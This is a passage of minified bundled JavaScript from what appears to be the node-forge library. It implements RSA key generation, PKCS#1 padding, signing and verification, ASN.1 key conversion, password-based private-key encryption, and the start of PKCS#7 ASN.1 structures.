z=mC.globalScope.msCrypto.subtle.generateKey({name:"RSASSA-PKCS1-v1_5",modulusLength:A,publicExponent:s_7(K),hash:{name:"SHA-256"}},!0,["sign","verify"]);z.oncomplete=function(J){var O=J.target.result,X=mC.globalScope.msCrypto.subtle.exportKey("pkcs8",O.privateKey);X.oncomplete=function($){var _=$.target.result,G=c5.privateKeyFromAsn1(P6.fromDer(lK.util.createBuffer(_)));Y(null,{privateKey:G,publicKey:c5.setRsaPublicKey(G.n,G.e)})},X.onerror=function($){Y($)}},z.onerror=function(J){Y(J)};return}}else if(r_7("generateKeyPairSync")){var w=Yj6.generateKeyPairSync("rsa",{modulusLength:A,publicExponent:K,publicKeyEncoding:{type:"spki",format:"pem"},privateKeyEncoding:{type:"pkcs8",format:"pem"}});return{privateKey:c5.privateKeyFromPem(w.privateKey),publicKey:c5.publicKeyFromPem(w.publicKey)}}}var H=c5.rsa.createKeyPairGenerationState(A,K,q);if(!Y)return c5.rsa.stepKeyPairGenerationState(H,0),H.keys;yvY(H,q,Y)};c5.setRsaPublicKey=c5.rsa.setPublicKey=function(A,K){var q={n:A,e:K};return q.encrypt=function(Y,z,w){if(typeof z==="string")z=z.toUpperCase();else if(z===void 0)z="RSAES-PKCS1-V1_5";if(z==="RSAES-PKCS1-V1_5")z={encode:function(J,O,X){return e_7(J,O,2).getBytes()}};else if(z==="RSA-OAEP"||z==="RSAES-OAEP")z={encode:function(J,O){return lK.pkcs1.encode_rsa_oaep(O,J,w)}};else if(["RAW","NONE","NULL",null].indexOf(z)!==-1)z={encode:function(J){return J}};else if(typeof z==="string")throw Error('Unsupported encryption scheme: "'+z+'".');var H=z.encode(Y,q,!0);return c5.rsa.encrypt(H,q,!0)},q.verify=function(Y,z,w,H){if(typeof w==="string")w=w.toUpperCase();else if(w===void 0)w="RSASSA-PKCS1-V1_5";if(H===void 0)H={_parseAllDigestBytes:!0};if(!("_parseAllDigestBytes"in H))H._parseAllDigestBytes=!0;if(w==="RSASSA-PKCS1-V1_5")w={verify:function(O,X){X=eX1(X,q,!0);var $=P6.fromDer(X,{parseAllBytes:H._parseAllDigestBytes}),_={},G=[];if(!P6.validate($,LvY,_,G)){var Z=Error("ASN.1 object does not contain a valid RSASSA-PKCS1-v1_5 DigestInfo value.");throw Z.errors=G,Z}var W=P6.derToOid(_.algorithmIdentifier);if(!(W===lK.oids.md2||W===lK.oids.md5||W===lK.oids.sha1||W===lK.oids.sha224||W===lK.oids.sha256||W===lK.oids.sha384||W===lK.oids.sha512||W===lK.oids["sha512-224"]||W===lK.oids["sha512-256"])){var Z=Error("Unknown RSASSA-PKCS1-v1_5 DigestAlgorithm identifier.");throw Z.oid=W,Z}if(W===lK.oids.md2||W===lK.oids.md5){if(!("parameters"in _))throw Error("ASN.1 object does not contain a valid RSASSA-PKCS1-v1_5 DigestInfo value. Missing algorithm identifer NULL parameters.")}return O===_.digest}};else if(w==="NONE"||w==="NULL"||w===null)w={verify:function(O,X){return X=eX1(X,q,!0),O===X}};var J=c5.rsa.decrypt(z,q,!0,!1);return w.verify(Y,J,q.n.bitLength())},q};c5.setRsaPrivateKey=c5.rsa.setPrivateKey=function(A,K,q,Y,z,w,H,J){var O={n:A,e:K,d:q,p:Y,q:z,dP:w,dQ:H,qInv:J};return O.decrypt=function(X,$,_){if(typeof $==="string")$=$.toUpperCase();else if($===void 0)$="RSAES-PKCS1-V1_5";var G=c5.rsa.decrypt(X,O,!1,!1);if($==="RSAES-PKCS1-V1_5")$={decode:eX1};else if($==="RSA-OAEP"||$==="RSAES-OAEP")$={decode:function(Z,W){return lK.pkcs1.decode_rsa_oaep(W,Z,_)}};else if(["RAW","NONE","NULL",null].indexOf($)!==-1)$={decode:function(Z){return Z}};else throw Error('Unsupported encryption scheme: "'+$+'".');return $.decode(G,O,!1)},O.sign=function(X,$){var _=!1;if(typeof $==="string")$=$.toUpperCase();if($===void 0||$==="RSASSA-PKCS1-V1_5")$={encode:RvY},_=1;else if($==="NONE"||$==="NULL"||$===null)$={encode:function(){return X}},_=1;var G=$.encode(X,O.n.bitLength());return c5.rsa.encrypt(G,O,_)},O};c5.wrapRsaPrivateKey=function(A){return P6.create(P6.Class.UNIVERSAL,P6.Type.SEQUENCE,!0,[P6.create(P6.Class.UNIVERSAL,P6.Type.INTEGER,!1,P6.integerToDer(0).getBytes()),P6.create(P6.Class.UNIVERSAL,P6.Type.SEQUENCE,!0,[P6.create(P6.Class.UNIVERSAL,P6.Type.OID,!1,P6.oidToDer(c5.oids.rsaEncryption).getBytes()),P6.create(P6.Class.UNIVERSAL,P6.Type.NULL,!1,"")]),P6.create(P6.Class.UNIVERSAL,P6.Type.OCTETSTRING,!1,P6.toDer(A).getBytes())])};c5.privateKeyFromAsn1=function(A){var K={},q=[];if(P6.validate(A,vvY,K,q))A=P6.fromDer(lK.util.createBuffer(K.privateKey));if(K={},q=[],!P6.validate(A,EvY,K,q)){var Y=Error("Cannot read private key. ASN.1 object does not contain an RSAPrivateKey.");throw Y.errors=q,Y}var z,w,H,J,O,X,$,_;return z=lK.util.createBuffer(K.privateKeyModulus).toHex(),w=lK.util.createBuffer(K.privateKeyPublicExponent).toHex(),H=lK.util.createBuffer(K.privateKeyPrivateExponent).toHex(),J=lK.util.createBuffer(K.privateKeyPrime1).toHex(),O=lK.util.createBuffer(K.privateKeyPrime2).toHex(),X=lK.util.createBuffer(K.privateKeyExponent1).toHex(),$=lK.util.createBuffer(K.privateKeyExponent2).toHex(),_=lK.util.createBuffer(K.privateKeyCoefficient).toHex(),c5.setRsaPrivateKey(new OY(z,16),new OY(w,16),new OY(H,16),new OY(J,16),new OY(O,16),new OY(X,16),new OY($,16),new OY(_,16))};c5.privateKeyToAsn1=c5.privateKeyToRSAPrivateKey=function(A){return P6.create(P6.Class.UNIVERSAL,P6.Type.SEQUENCE,!0,[P6.create(P6.Class.UNIVERSAL,P6.Type.INTEGER,!1,P6.integerToDer(0).getBytes()),P6.create(P6.Class.UNIVERSAL,P6.Type.INTEGER,!1,KB(A.n)),P6.create(P6.Class.UNIVERSAL,P6.Type.INTEGER,!1,KB(A.e)),P6.create(P6.Class.UNIVERSAL,P6.Type.INTEGER,!1,KB(A.d)),P6.create(P6.Class.UNIVERSAL,P6.Type.INTEGER,!1,KB(A.p)),P6.create(P6.Class.UNIVERSAL,P6.Type.INTEGER,!1,KB(A.q)),P6.create(P6.Class.UNIVERSAL,P6.Type.INTEGER,!1,KB(A.dP)),P6.create(P6.Class.UNIVERSAL,P6.Type.INTEGER,!1,KB(A.dQ)),P6.create(P6.Class.UNIVERSAL,P6.Type.INTEGER,!1,KB(A.qInv))])};c5.publicKeyFromAsn1=function(A){var K={},q=[];if(P6.validate(A,CvY,K,q)){var Y=P6.derToOid(K.publicKeyOid);if(Y!==c5.oids.rsaEncryption){var z=Error("Cannot read public key. Unknown OID.");throw z.oid=Y,z}A=K.rsaPublicKey}if(q=[],!P6.validate(A,kvY,K,q)){var z=Error("Cannot read public key. ASN.1 object does not contain an RSAPublicKey.");throw z.errors=q,z}var w=lK.util.createBuffer(K.publicKeyModulus).toHex(),H=lK.util.createBuffer(K.publicKeyExponent).toHex();return c5.setRsaPublicKey(new OY(w,16),new OY(H,16))};c5.publicKeyToAsn1=c5.publicKeyToSubjectPublicKeyInfo=function(A){return P6.create(P6.Class.UNIVERSAL,P6.Type.SEQUENCE,!0,[P6.create(P6.Class.UNIVERSAL,P6.Type.SEQUENCE,!0,[P6.create(P6.Class.UNIVERSAL,P6.Type.OID,!1,P6.oidToDer(c5.oids.rsaEncryption).getBytes()),P6.create(P6.Class.UNIVERSAL,P6.Type.NULL,!1,"")]),P6.create(P6.Class.UNIVERSAL,P6.Type.BITSTRING,!1,[c5.publicKeyToRSAPublicKey(A)])])};c5.publicKeyToRSAPublicKey=function(A){return P6.create(P6.Class.UNIVERSAL,P6.Type.SEQUENCE,!0,[P6.create(P6.Class.UNIVERSAL,P6.Type.INTEGER,!1,KB(A.n)),P6.create(P6.Class.UNIVERSAL,P6.Type.INTEGER,!1,KB(A.e))])};function e_7(A,K,q){var Y=lK.util.createBuffer(),z=Math.ceil(K.n.bitLength()/8);if(A.length>z-11){var w=Error("Message is too long for PKCS#1 v1.5 padding.");throw w.length=A.length,w.max=z-11,w}Y.putByte(0),Y.putByte(q);var H=z-3-A.length,J;if(q===0||q===1){J=q===0?0:255;for(var O=0;O<H;++O)Y.putByte(J)}else while(H>0){var X=0,$=lK.random.getBytes(H);for(var O=0;O<H;++O)if(J=$.charCodeAt(O),J===0)++X;else Y.putByte(J);H=X}return Y.putByte(0),Y.putBytes(A),Y}function eX1(A,K,q,Y){var z=Math.ceil(K.n.bitLength()/8),w=lK.util.createBuffer(A),H=w.getByte(),J=w.getByte();if(H!==0||q&&J!==0&&J!==1||!q&&J!=2||q&&J===0&&typeof Y>"u")throw Error("Encryption block is invalid.");var O=0;if(J===0){O=z-3-Y;for(var X=0;X<O;++X)if(w.getByte()!==0)throw Error("Encryption block is invalid.")}else if(J===1){O=0;while(w.length()>1){if(w.getByte()!==255){--w.read;break}++O}}else if(J===2){O=0;while(w.length()>1){if(w.getByte()===0){--w.read;break}++O}}var $=w.getByte();if($!==0||O!==z-3-w.length())throw Error("Encryption block is invalid.");return w.getBytes()}function yvY(A,K,q){if(typeof K==="function")q=K,K={};K=K||{};var Y={algorithm:{name:K.algorithm||"PRIMEINC",options:{workers:K.workers||2,workLoad:K.workLoad||100,workerScript:K.workerScript}}};if("prng"in K)Y.prng=K.prng;z();function z(){w(A.pBits,function(J,O){if(J)return q(J);if(A.p=O,A.q!==null)return H(J,A.q);w(A.qBits,H)})}function w(J,O){lK.prime.generateProbablePrime(J,Y,O)}function H(J,O){if(J)return q(J);if(A.q=O,A.p.compareTo(A.q)<0){var X=A.p;A.p=A.q,A.q=X}if(A.p.subtract(OY.ONE).gcd(A.e).compareTo(OY.ONE)!==0){A.p=null,z();return}if(A.q.subtract(OY.ONE).gcd(A.e).compareTo(OY.ONE)!==0){A.q=null,w(A.qBits,H);return}if(A.p1=A.p.subtract(OY.ONE),A.q1=A.q.subtract(OY.ONE),A.phi=A.p1.multiply(A.q1),A.phi.gcd(A.e).compareTo(OY.ONE)!==0){A.p=A.q=null,z();return}if(A.n=A.p.multiply(A.q),A.n.bitLength()!==A.bits){A.q=null,w(A.qBits,H);return}var $=A.e.modInverse(A.phi);A.keys={privateKey:c5.rsa.setPrivateKey(A.n,A.e,$,A.p,A.q,$.mod(A.p1),$.mod(A.q1),A.q.modInverse(A.p)),publicKey:c5.rsa.setPublicKey(A.n,A.e)},q(null,A.keys)}}function KB(A){var K=A.toString(16);if(K[0]>="8")K="00"+K;var q=lK.util.hexToBytes(K);if(q.length>1&&(q.charCodeAt(0)===0&&(q.charCodeAt(1)&128)===0||q.charCodeAt(0)===255&&(q.charCodeAt(1)&128)===128))return q.substr(1);return q}function IvY(A){if(A<=100)return 27;if(A<=150)return 18;if(A<=200)return 15;if(A<=250)return 12;if(A<=300)return 9;if(A<=350)return 8;if(A<=400)return 7;if(A<=500)return 6;if(A<=600)return 5;if(A<=800)return 4;if(A<=1250)return 3;return 2}function r_7(A){return lK.util.isNodejs&&typeof Yj6[A]==="function"}function o_7(A){return typeof mC.globalScope<"u"&&typeof mC.globalScope.crypto==="object"&&typeof mC.globalScope.crypto.subtle==="object"&&typeof mC.globalScope.crypto.subtle[A]==="function"}function a_7(A){return typeof mC.globalScope<"u"&&typeof mC.globalScope.msCrypto==="object"&&typeof mC.globalScope.msCrypto.subtle==="object"&&typeof mC.globalScope.msCrypto.subtle[A]==="function"}function s_7(A){var K=lK.util.hexToBytes(A.toString(16)),q=new Uint8Array(K.length);for(var Y=0;Y<K.length;++Y)q[Y]=K.charCodeAt(Y);return q}});var wj6=v((k4H,zG7)=>{var M7=m3();ha();xI();MBA();ru();ba();rX1();vqA();uC();oD6();fBA();bY();if(typeof zj6>"u")zj6=M7.jsbn.BigInteger;var zj6,a6=M7.asn1,k3=M7.pki=M7.pki||{};zG7.exports=k3.pbe=M7.pbe=M7.pbe||{};var CqA=k3.oids,SvY={name:"EncryptedPrivateKeyInfo",tagClass:a6.Class.UNIVERSAL,type:a6.Type.SEQUENCE,constructed:!0,value:[{name:"EncryptedPrivateKeyInfo.encryptionAlgorithm",tagClass:a6.Class.UNIVERSAL,type:a6.Type.SEQUENCE,constructed:!0,value:[{name:"AlgorithmIdentifier.algorithm",tagClass:a6.Class.UNIVERSAL,type:a6.Type.OID,constructed:!1,capture:"encryptionOid"},{name:"AlgorithmIdentifier.parameters",tagClass:a6.Class.UNIVERSAL,type:a6.Type.SEQUENCE,constructed:!0,captureAsn1:"encryptionParams"}]},{name:"EncryptedPrivateKeyInfo.encryptedData",tagClass:a6.Class.UNIVERSAL,type:a6.Type.OCTETSTRING,constructed:!1,capture:"encryptedData"}]},hvY={name:"PBES2Algorithms",tagClass:a6.Class.UNIVERSAL,type:a6.Type.SEQUENCE,constructed:!0,value:[{name:"PBES2Algorithms.keyDerivationFunc",tagClass:a6.Class.UNIVERSAL,type:a6.Type.SEQUENCE,constructed:!0,value:[{name:"PBES2Algorithms.keyDerivationFunc.oid",tagClass:a6.Class.UNIVERSAL,type:a6.Type.OID,constructed:!1,capture:"kdfOid"},{name:"PBES2Algorithms.params",tagClass:a6.Class.UNIVERSAL,type:a6.Type.SEQUENCE,constructed:!0,value:[{name:"PBES2Algorithms.params.salt",tagClass:a6.Class.UNIVERSAL,type:a6.Type.OCTETSTRING,constructed:!1,capture:"kdfSalt"},{name:"PBES2Algorithms.params.iterationCount",tagClass:a6.Class.UNIVERSAL,type:a6.Type.INTEGER,constructed:!1,capture:"kdfIterationCount"},{name:"PBES2Algorithms.params.keyLength",tagClass:a6.Class.UNIVERSAL,type:a6.Type.INTEGER,constructed:!1,optional:!0,capture:"keyLength"},{name:"PBES2Algorithms.params.prf",tagClass:a6.Class.UNIVERSAL,type:a6.Type.SEQUENCE,constructed:!0,optional:!0,value:[{name:"PBES2Algorithms.params.prf.algorithm",tagClass:a6.Class.UNIVERSAL,type:a6.Type.OID,constructed:!1,capture:"prfOid"}]}]}]},{name:"PBES2Algorithms.encryptionScheme",tagClass:a6.Class.UNIVERSAL,type:a6.Type.SEQUENCE,constructed:!0,value:[{name:"PBES2Algorithms.encryptionScheme.oid",tagClass:a6.Class.UNIVERSAL,type:a6.Type.OID,constructed:!1,capture:"encOid"},{name:"PBES2Algorithms.encryptionScheme.iv",tagClass:a6.Class.UNIVERSAL,type:a6.Type.OCTETSTRING,constructed:!1,capture:"encIv"}]}]},bvY={name:"pkcs-12PbeParams",tagClass:a6.Class.UNIVERSAL,type:a6.Type.SEQUENCE,constructed:!0,value:[{name:"pkcs-12PbeParams.salt",tagClass:a6.Class.UNIVERSAL,type:a6.Type.OCTETSTRING,constructed:!1,capture:"salt"},{name:"pkcs-12PbeParams.iterations",tagClass:a6.Class.UNIVERSAL,type:a6.Type.INTEGER,constructed:!1,capture:"iterations"}]};k3.encryptPrivateKeyInfo=function(A,K,q){q=q||{},q.saltSize=q.saltSize||8,q.count=q.count||2048,q.algorithm=q.algorithm||"aes128",q.prfAlgorithm=q.prfAlgorithm||"sha1";var Y=M7.random.getBytesSync(q.saltSize),z=q.count,w=a6.integerToDer(z),H,J,O;if(q.algorithm.indexOf("aes")===0||q.algorithm==="des"){var X,$,_;switch(q.algorithm){case"aes128":H=16,X=16,$=CqA["aes128-CBC"],_=M7.aes.createEncryptionCipher;break;case"aes192":H=24,X=16,$=CqA["aes192-CBC"],_=M7.aes.createEncryptionCipher;break;case"aes256":H=32,X=16,$=CqA["aes256-CBC"],_=M7.aes.createEncryptionCipher;break;case"des":H=8,X=8,$=CqA.desCBC,_=M7.des.createEncryptionCipher;break;default:var G=Error("Cannot encrypt private key. Unknown encryption algorithm.");throw G.algorithm=q.algorithm,G}var Z="hmacWith"+q.prfAlgorithm.toUpperCase(),W=YG7(Z),D=M7.pkcs5.pbkdf2(K,Y,z,H,W),j=M7.random.getBytesSync(X),M=_(D);M.start(j),M.update(a6.toDer(A)),M.finish(),O=M.output.getBytes();var P=xvY(Y,w,H,Z);J=a6.create(a6.Class.UNIVERSAL,a6.Type.SEQUENCE,!0,[a6.create(a6.Class.UNIVERSAL,a6.Type.OID,!1,a6.oidToDer(CqA.pkcs5PBES2).getBytes()),a6.create(a6.Class.UNIVERSAL,a6.Type.SEQUENCE,!0,[a6.create(a6.Class.UNIVERSAL,a6.Type.SEQUENCE,!0,[a6.create(a6.Class.UNIVERSAL,a6.Type.OID,!1,a6.oidToDer(CqA.pkcs5PBKDF2).getBytes()),P]),a6.create(a6.Class.UNIVERSAL,a6.Type.SEQUENCE,!0,[a6.create(a6.Class.UNIVERSAL,a6.Type.OID,!1,a6.oidToDer($).getBytes()),a6.create(a6.Class.UNIVERSAL,a6.Type.OCTETSTRING,!1,j)])])])}else if(q.algorithm==="3des"){H=24;var f=new M7.util.ByteBuffer(Y),D=k3.pbe.generatePkcs12Key(K,f,1,z,H),j=k3.pbe.generatePkcs12Key(K,f,2,z,H),M=M7.des.createEncryptionCipher(D);M.start(j),M.update(a6.toDer(A)),M.finish(),O=M.output.getBytes(),J=a6.create(a6.Class.UNIVERSAL,a6.Type.SEQUENCE,!0,[a6.create(a6.Class.UNIVERSAL,a6.Type.OID,!1,a6.oidToDer(CqA["pbeWithSHAAnd3-KeyTripleDES-CBC"]).getBytes()),a6.create(a6.Class.UNIVERSAL,a6.Type.SEQUENCE,!0,[a6.create(a6.Class.UNIVERSAL,a6.Type.OCTETSTRING,!1,Y),a6.create(a6.Class.UNIVERSAL,a6.Type.INTEGER,!1,w.getBytes())])])}else{var G=Error("Cannot encrypt private key. Unknown encryption algorithm.");throw G.algorithm=q.algorithm,G}var N=a6.create(a6.Class.UNIVERSAL,a6.Type.SEQUENCE,!0,[J,a6.create(a6.Class.UNIVERSAL,a6.Type.OCTETSTRING,!1,O)]);return N};k3.decryptPrivateKeyInfo=function(A,K){var q=null,Y={},z=[];if(!a6.validate(A,SvY,Y,z)){var w=Error("Cannot read encrypted private key. ASN.1 object is not a supported EncryptedPrivateKeyInfo.");throw w.errors=z,w}var H=a6.derToOid(Y.encryptionOid),J=k3.pbe.getCipher(H,Y.encryptionParams,K),O=M7.util.createBuffer(Y.encryptedData);if(J.update(O),J.finish())q=a6.fromDer(J.output);return q};k3.encryptedPrivateKeyToPem=function(A,K){var q={type:"ENCRYPTED PRIVATE KEY",body:a6.toDer(A).getBytes()};return M7.pem.encode(q,{maxline:K})};k3.encryptedPrivateKeyFromPem=function(A){var K=M7.pem.decode(A)[0];if(K.type!=="ENCRYPTED PRIVATE KEY"){var q=Error('Could not convert encrypted private key from PEM; PEM header type is "ENCRYPTED PRIVATE KEY".');throw q.headerType=K.type,q}if(K.procType&&K.procType.type==="ENCRYPTED")throw Error("Could not convert encrypted private key from PEM; PEM is encrypted.");return a6.fromDer(K.body)};k3.encryptRsaPrivateKey=function(A,K,q){if(q=q||{},!q.legacy){var Y=k3.wrapRsaPrivateKey(k3.privateKeyToAsn1(A));return Y=k3.encryptPrivateKeyInfo(Y,K,q),k3.encryptedPrivateKeyToPem(Y)}var z,w,H,J;switch(q.algorithm){case"aes128":z="AES-128-CBC",H=16,w=M7.random.getBytesSync(16),J=M7.aes.createEncryptionCipher;break;case"aes192":z="AES-192-CBC",H=24,w=M7.random.getBytesSync(16),J=M7.aes.createEncryptionCipher;break;case"aes256":z="AES-256-CBC",H=32,w=M7.random.getBytesSync(16),J=M7.aes.createEncryptionCipher;break;case"3des":z="DES-EDE3-CBC",H=24,w=M7.random.getBytesSync(8),J=M7.des.createEncryptionCipher;break;case"des":z="DES-CBC",H=8,w=M7.random.getBytesSync(8),J=M7.des.createEncryptionCipher;break;default:var O=Error('Could not encrypt RSA private key; unsupported encryption algorithm "'+q.algorithm+'".');throw O.algorithm=q.algorithm,O}var X=M7.pbe.opensslDeriveBytes(K,w.substr(0,8),H),$=J(X);$.start(w),$.update(a6.toDer(k3.privateKeyToAsn1(A))),$.finish();var _={type:"RSA PRIVATE KEY",procType:{version:"4",type:"ENCRYPTED"},dekInfo:{algorithm:z,parameters:M7.util.bytesToHex(w).toUpperCase()},body:$.output.getBytes()};return M7.pem.encode(_)};k3.decryptRsaPrivateKey=function(A,K){var q=null,Y=M7.pem.decode(A)[0];if(Y.type!=="ENCRYPTED PRIVATE KEY"&&Y.type!=="PRIVATE KEY"&&Y.type!=="RSA PRIVATE KEY"){var z=Error('Could not convert private key from PEM; PEM header type is not "ENCRYPTED PRIVATE KEY", "PRIVATE KEY", or "RSA PRIVATE KEY".');throw z.headerType=z,z}if(Y.procType&&Y.procType.type==="ENCRYPTED"){var w,H;switch(Y.dekInfo.algorithm){case"DES-CBC":w=8,H=M7.des.createDecryptionCipher;break;case"DES-EDE3-CBC":w=24,H=M7.des.createDecryptionCipher;break;case"AES-128-CBC":w=16,H=M7.aes.createDecryptionCipher;break;case"AES-192-CBC":w=24,H=M7.aes.createDecryptionCipher;break;case"AES-256-CBC":w=32,H=M7.aes.createDecryptionCipher;break;case"RC2-40-CBC":w=5,H=function(_){return M7.rc2.createDecryptionCipher(_,40)};break;case"RC2-64-CBC":w=8,H=function(_){return M7.rc2.createDecryptionCipher(_,64)};break;case"RC2-128-CBC":w=16,H=function(_){return M7.rc2.createDecryptionCipher(_,128)};break;default:var z=Error('Could not decrypt private key; unsupported encryption algorithm "'+Y.dekInfo.algorithm+'".');throw z.algorithm=Y.dekInfo.algorithm,z}var J=M7.util.hexToBytes(Y.dekInfo.parameters),O=M7.pbe.opensslDeriveBytes(K,J.substr(0,8),w),X=H(O);if(X.start(J),X.update(M7.util.createBuffer(Y.body)),X.finish())q=X.output.getBytes();else return q}else q=Y.body;if(Y.type==="ENCRYPTED PRIVATE KEY")q=k3.decryptPrivateKeyInfo(a6.fromDer(q),K);else q=a6.fromDer(q);if(q!==null)q=k3.privateKeyFromAsn1(q);return q};k3.pbe.generatePkcs12Key=function(A,K,q,Y,z,w){var H,J;if(typeof w>"u"||w===null){if(!("sha1"in M7.md))throw Error('"sha1" hash algorithm unavailable.');w=M7.md.sha1.create()}var{digestLength:O,blockLength:X}=w,$=new M7.util.ByteBuffer,_=new M7.util.ByteBuffer;if(A!==null&&A!==void 0){for(J=0;J<A.length;J++)_.putInt16(A.charCodeAt(J));_.putInt16(0)}var G=_.length(),Z=K.length(),W=new M7.util.ByteBuffer;W.fillWithByte(q,X);var D=X*Math.ceil(Z/X),j=new M7.util.ByteBuffer;for(J=0;J<D;J++)j.putByte(K.at(J%Z));var M=X*Math.ceil(G/X),P=new M7.util.ByteBuffer;for(J=0;J<M;J++)P.putByte(_.at(J%G));var f=j;f.putBuffer(P);var N=Math.ceil(z/O);for(var T=1;T<=N;T++){var C=new M7.util.ByteBuffer;C.putBytes(W.bytes()),C.putBytes(f.bytes());for(var R=0;R<Y;R++)w.start(),w.update(C.getBytes()),C=w.digest();var x=new M7.util.ByteBuffer;for(J=0;J<X;J++)x.putByte(C.at(J%O));var y=Math.ceil(Z/X)+Math.ceil(G/X),B=new M7.util.ByteBuffer;for(H=0;H<y;H++){var b=new M7.util.ByteBuffer(f.getBytes(X)),F=511;for(J=x.length()-1;J>=0;J--)F=F>>8,F+=x.at(J)+b.at(J),b.setAt(J,F&255);B.putBuffer(b)}f=B,$.putBuffer(C)}return $.truncate($.length()-z),$};k3.pbe.getCipher=function(A,K,q){switch(A){case k3.oids.pkcs5PBES2:return k3.pbe.getCipherForPBES2(A,K,q);case k3.oids["pbeWithSHAAnd3-KeyTripleDES-CBC"]:case k3.oids["pbewithSHAAnd40BitRC2-CBC"]:return k3.pbe.getCipherForPKCS12PBE(A,K,q);default:var Y=Error("Cannot read encrypted PBE data block. Unsupported OID.");throw Y.oid=A,Y.supportedOids=["pkcs5PBES2","pbeWithSHAAnd3-KeyTripleDES-CBC","pbewithSHAAnd40BitRC2-CBC"],Y}};k3.pbe.getCipherForPBES2=function(A,K,q){var Y={},z=[];if(!a6.validate(K,hvY,Y,z)){var w=Error("Cannot read password-based-encryption algorithm parameters. ASN.1 object is not a supported EncryptedPrivateKeyInfo.");throw w.errors=z,w}if(A=a6.derToOid(Y.kdfOid),A!==k3.oids.pkcs5PBKDF2){var w=Error("Cannot read encrypted private key. Unsupported key derivation function OID.");throw w.oid=A,w.supportedOids=["pkcs5PBKDF2"],w}if(A=a6.derToOid(Y.encOid),A!==k3.oids["aes128-CBC"]&&A!==k3.oids["aes192-CBC"]&&A!==k3.oids["aes256-CBC"]&&A!==k3.oids["des-EDE3-CBC"]&&A!==k3.oids.desCBC){var w=Error("Cannot read encrypted private key. Unsupported encryption scheme OID.");throw w.oid=A,w.supportedOids=["aes128-CBC","aes192-CBC","aes256-CBC","des-EDE3-CBC","desCBC"],w}var H=Y.kdfSalt,J=M7.util.createBuffer(Y.kdfIterationCount);J=J.getInt(J.length()<<3);var O,X;switch(k3.oids[A]){case"aes128-CBC":O=16,X=M7.aes.createDecryptionCipher;break;case"aes192-CBC":O=24,X=M7.aes.createDecryptionCipher;break;case"aes256-CBC":O=32,X=M7.aes.createDecryptionCipher;break;case"des-EDE3-CBC":O=24,X=M7.des.createDecryptionCipher;break;case"desCBC":O=8,X=M7.des.createDecryptionCipher;break}var $=qG7(Y.prfOid),_=M7.pkcs5.pbkdf2(q,H,J,O,$),G=Y.encIv,Z=X(_);return Z.start(G),Z};k3.pbe.getCipherForPKCS12PBE=function(A,K,q){var Y={},z=[];if(!a6.validate(K,bvY,Y,z)){var w=Error("Cannot read password-based-encryption algorithm parameters. ASN.1 object is not a supported EncryptedPrivateKeyInfo.");throw w.errors=z,w}var H=M7.util.createBuffer(Y.salt),J=M7.util.createBuffer(Y.iterations);J=J.getInt(J.length()<<3);var O,X,$;switch(A){case k3.oids["pbeWithSHAAnd3-KeyTripleDES-CBC"]:O=24,X=8,$=M7.des.startDecrypting;break;case k3.oids["pbewithSHAAnd40BitRC2-CBC"]:O=5,X=8,$=function(D,j){var M=M7.rc2.createDecryptionCipher(D,40);return M.start(j,null),M};break;default:var w=Error("Cannot read PKCS #12 PBE data block. Unsupported OID.");throw w.oid=A,w}var _=qG7(Y.prfOid),G=k3.pbe.generatePkcs12Key(q,H,1,J,O,_);_.start();var Z=k3.pbe.generatePkcs12Key(q,H,2,J,X,_);return $(G,Z)};k3.pbe.opensslDeriveBytes=function(A,K,q,Y){if(typeof Y>"u"||Y===null){if(!("md5"in M7.md))throw Error('"md5" hash algorithm unavailable.');Y=M7.md.md5.create()}if(K===null)K="";var z=[KG7(Y,A+K)];for(var w=16,H=1;w<q;++H,w+=16)z.push(KG7(Y,z[H-1]+A+K));return z.join("").substr(0,q)};function KG7(A,K){return A.start().update(K).digest().getBytes()}function qG7(A){var K;if(!A)K="hmacWithSHA1";else if(K=k3.oids[a6.derToOid(A)],!K){var q=Error("Unsupported PRF OID.");throw q.oid=A,q.supported=["hmacWithSHA1","hmacWithSHA224","hmacWithSHA256","hmacWithSHA384","hmacWithSHA512"],q}return YG7(K)}function YG7(A){var K=M7.md;switch(A){case"hmacWithSHA224":K=M7.md.sha512;case"hmacWithSHA1":case"hmacWithSHA256":case"hmacWithSHA384":case"hmacWithSHA512":A=A.substr(8).toLowerCase();break;default:var q=Error("Unsupported PRF algorithm.");throw q.algorithm=A,q.supported=["hmacWithSHA1","hmacWithSHA224","hmacWithSHA256","hmacWithSHA384","hmacWithSHA512"],q}if(!K||!(A in K))throw Error("Unknown hash algorithm: "+A);return K[A].create()}function xvY(A,K,q,Y){var z=a6.create(a6.Class.UNIVERSAL,a6.Type.SEQUENCE,!0,[a6.create(a6.Class.UNIVERSAL,a6.Type.OCTETSTRING,!1,A),a6.create(a6.Class.UNIVERSAL,a6.Type.INTEGER,!1,K.getBytes())]);if(Y!=="hmacWithSHA1")z.value.push(a6.create(a6.Class.UNIVERSAL,a6.Type.INTEGER,!1,M7.util.hexToBytes(q.toString(16))),a6.create(a6.Class.UNIVERSAL,a6.Type.SEQUENCE,!0,[a6.create(a6.Class.UNIVERSAL,a6.Type.OID,!1,a6.oidToDer(k3.oids[Y]).getBytes()),a6.create(a6.Class.UNIVERSAL,a6.Type.NULL,!1,"")]));return z}});var Hj6=v((C4H,JG7)=>{var hZA=m3();xI();bY();var w7=hZA.asn1,bZA=JG7.exports=hZA.pkcs7asn1=hZA.pkcs7asn1||{};hZA.pkcs7=hZA.pkcs7||{};hZA.pkcs7.asn1=bZA;var wG7={name:"ContentInfo",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,value:[{name:"ContentInfo.ContentType",tagClass:w7.Class.UNIVERSAL,type:w7.Type.OID,constructed:!1,capture:"contentType"},{name:"ContentInfo.content",tagClass:w7.Class.CONTEXT_SPECIFIC,type:0,constructed:!0,optional:!0,captureAsn1:"content"}]};bZA.contentInfoValidator=wG7;var 